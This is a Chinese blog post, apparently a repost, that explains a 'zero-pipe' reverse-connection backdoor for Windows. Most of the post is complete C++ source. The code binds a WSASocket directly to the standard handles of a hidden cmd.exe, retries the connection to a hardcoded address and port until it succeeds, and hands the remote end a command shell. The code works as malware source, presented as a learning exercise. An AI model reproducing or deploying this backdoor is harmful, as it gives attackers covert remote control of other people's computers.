• 安全之路 —— 零管道反向连接后门解析


    简介

    根据前面两篇Blog介绍的双管道后门单管道后门,他们的特点是一定需要建立管道以便进行进程间通信。但是能不能不需要管道呢?答案是可以的,这里需要借鉴重叠IO的思想,将程序中的socket函数替换成支持重叠IO的WSASocket函数。

    核心知识点

    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock;

    即将Socket直接绑定到cmd进程的输入输出上,实现无管道。(siSTARTUPINFO

    C++代码样例

    /*
    *@Author: PeterZ
    *@Time: 2018/03/04
    *@Function: 零管道反向连接后门(Default_Port: 4399)
    */
    
    #include <iostream>
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include <WinSock2.h>
    #include <winsock.h>
    #include <windows.h>
    
    using namespace std;
    
    #pragma comment(lib,"ws2_32")
    
    const CHAR* REMOTE_ADDR = "127.0.0.1";
    const DWORD REMOTE_PORT = 4399;
    const DWORD MAXSTR = 255;
    const DWORD READLEN = 4096;
    
    void StartShell(SOCKET sSock)
    {
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        CHAR cmdline[MAXSTR] = { 0 };
        GetStartupInfo(&si);
        si.cb = sizeof(STARTUPINFO);
        si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock;
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        GetSystemDirectory(cmdline, MAXSTR);
        strcat_s(cmdline, MAXSTR, "\cmd.exe");
        while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
        {
            Sleep(1000);
        }
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return;
    }
    
    int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
    {
        SOCKADDR_IN sin;
        WSADATA wsd;
        SOCKET sSock;
        CHAR readBuf[READLEN] = { 0 };
        DWORD realRecv = 0;
        const CHAR * welRow = "=====> Hello,Guy ~ <=====
    
    ";
        int cRet;
        if (WSAStartup(0x0202, &wsd) == SOCKET_ERROR) return 0;
        if ((sSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET) return 0;
        sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
        sin.sin_port = htons(REMOTE_PORT);
        sin.sin_family = AF_INET;
        do
        {
            cRet = connect(sSock, (sockaddr*)&sin, sizeof(sin));
        } while (cRet == SOCKET_ERROR);
        send(sSock, welRow, strlen(welRow), 0);
        StartShell(sSock);
        closesocket(sSock);
        WSACleanup();
        return 0;
    }
  • 相关阅读:
    nginx proxy_cache_revalidate
    博客园快速转载的方法,复制html的内容直接粘贴
    理解http浏览器缓存
    github 搜索技巧
    nginx缓存配置及开启gzip压缩
    音乐播放器的显示与隐藏
    寒假近半个月的收获
    javascript编程习惯总结
    关于域名服务器获取流程问题
    云盘WEB资料下载链接
  • 原文地址:https://www.cnblogs.com/csnd/p/12897022.html
Copyright © 2020-2023  润新知